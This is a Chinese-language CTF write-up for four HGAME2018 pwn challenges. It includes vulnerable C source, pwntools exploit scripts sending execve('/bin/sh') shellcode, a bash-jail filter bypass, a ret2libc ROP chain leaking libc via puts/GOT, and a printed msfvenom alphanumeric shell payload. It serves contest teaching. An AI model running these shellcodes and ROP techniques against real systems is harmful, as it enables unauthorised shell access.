HGAME2018 WEEK2 PWN WP

ez_shellcode

```c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <string.h>
typedef void (*func)(void);

int main(void){
    setvbuf(stdout, NULL, _IONBF, 0);
    char buf[0x80];
    void * p = (char *)malloc(0x20);
    puts("========== ez shellcode ==========");
    printf("> ");
    fgets(p,24,stdin);
    if(mprotect((void *)((int)p&~0xfff),0x1000,7) != -1){
        puts("exec shellcode...");
        ((func)p)();
    }else{
        puts("error ,tell admin");
    }

    return 0;
}
```

可以执行24字节长度内的shellcode.

随便google一条

exp:

```python
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./ez_shellcode')
    bin = ELF('./ez_shellcode')
else:
    cn = remote('111.230.149.72',10004)


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()


cn.recv()

pay = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x
53\x89\xe1\xb0\x0b\xcd\x80"

cn.sendline(pay)

cn.interactive()
```

ez_bash_jail

```c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <string.h>

int check(char *buf){
    int len = strlen(buf);

    int result = 0;

    for(int i =0;i<len;i++){
        if(buf[i] == 'a') result=1;
        if(buf[i] == 'b') result=1;
        if(buf[i] == 'c') result=1;
        if(buf[i] == 'f') result=1;
        if(buf[i] == 'h') result=1;
        if(buf[i] == 'g') result=1;
        if(buf[i] == 'i') result=1;
        if(buf[i] == 'l') result=1;
        if(buf[i] == 'n') result=1;
        if(buf[i] == 's') result=1;
        if(buf[i] == 't') result=1;
        if(buf[i] == '*') result=1;
    }

    return result;
}

int main(void){
    setvbuf(stdout, NULL, _IONBF, 0);

    char *buf=NULL;
    size_t size;

    puts("===== easy bash jail =====");

    while(1){
        printf("> ");
        getline(&buf,&size,stdin);

        if(!check(buf)){
            system(buf);
        }else{
            puts("hacker!! go away~~ QAQ");
        }
    }
    return 0;
}
```

只要过检测即可

考虑到system执行命令时argv[0]是sh(见源码),而argv[0]可以用$0这个变量来打印因此只要输入`$0`即可getshell.

方法二可以用`/???/??? ????`,最后会cat出flag.原理可以见man bash.

---

hacker_system_ver1

既然是ver1,后面肯定还有(疯狂暗示)

有很多的栈溢出可以ROP,比如`print_hacker`吧.

```
void print_hacker()
{
    char buf[0x20];
    int namelen;
    printf("searched by name, input name length:");
    namelen = read_int();//自定的长度
    printf("input hacker's name:");
    read_n(buf, namelen);//长度大于0x20,栈溢出
    int flag = 0;
    for (int i = 0; i < 0x20; i++)
    {
        if (chunklist[i])
        {
            if (!strcmp(buf, chunklist[i]->name))
            {
                flag = 1;
                printf("id:%u, name:%s, age:%u, intro:%s\n", chunklist[i]
->id, chunklist[i]->name, chunklist[i]->age, chunklist[i]->intro);
            }
        }
    }

    if (!flag)
    {
        puts("not find!!");
    }
}
```

关于怎么ROP,题目的hint上已经放了资料了.

exp:

```python
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./hacker_system_ver1')
    bin = ELF('./hacker_system_ver1')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
    cn = remote('111.230.149.72',10005)
    bin = ELF('./hacker_system_ver1')
    libc = ELF('./libc32.so')


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()

p1ret=0x08048455

pay = 'a'*0x34+'bbbb'
pay += p32(bin.plt['puts']) + p32(p1ret) + p32(bin.got['read'])
pay += p32(0x8048a20)

cn.sendline('2')
cn.recv()
cn.sendline('1000')
cn.recv()
cn.sendline(pay)

cn.recvuntil('\n')
libc_base = u32(cn.recv(4))-libc.symbols['read']
success(hex(libc_base))

system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()

pay = 'a'*0x34+'bbbb'
pay += p32(system) + p32(p1ret) + p32(binsh)
cn.sendline('1000')
cn.recv()
cn.sendline(pay)

cn.interactive()
```

ez_shellcode_ver2

这题还是发送shellcode,但是长度不做限制,限制shellcode只能由大写字母和数字组成.

方法很多.

水平比较烂的可以考虑直接上网搜,讲道理应该能搜到.

水平中等的可以考虑用`msfvenom`生成.

执行shellcode时,初始的寄存器状态为:

```
 EAX  0x8a61008 ◂— 0x49495950 ('PYII')
 EBX  0x0
 ECX  0xffffffff
 EDX  0xf76e9870 (_IO_stdfile_1_lock) ◂— 0x0
 EDI  0xf76e8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
 ESI  0xf76e8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
 EBP  0xfff24d98 ◂— 0x0
*ESP  0xfff24d6c —▸ 0x80486ad ◂— jmp    0x80486bf
*EIP  0x8a61008 ◂— 0x49495950 ('PYII')
```

EAX指向shellcode,这点要好好利用.

用`msfvenom`生成

```
veritas@ubuntu$ msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/
bin/sh" -e x86/alpha_upper BufferRegister=EAX

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 147 (iteration=0)
x86/alpha_upper chosen with final size 147
Payload size: 147 bytes
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJI3ZDKPXJ9V2U6RH
FM2CMYJGU86OD3SX30E8FO522I2NLIZC62M8S830EPC0VO3RCYBN6O3C3X5PQGV3MYKQXMMPA
A
```

水平更高的也可以挑战手写,因为纯大写和数字肯定不能编出想要的指令,因此我们需要自修改(smc)

比如说指令`'xor [eax+0x33],bl'`的机器码是`0X3`,满足条件,只要eax指向shellcode,那么就能修改执行偏移处的指令了,相当于解码出你需要的指令.更多的细节就不多说了.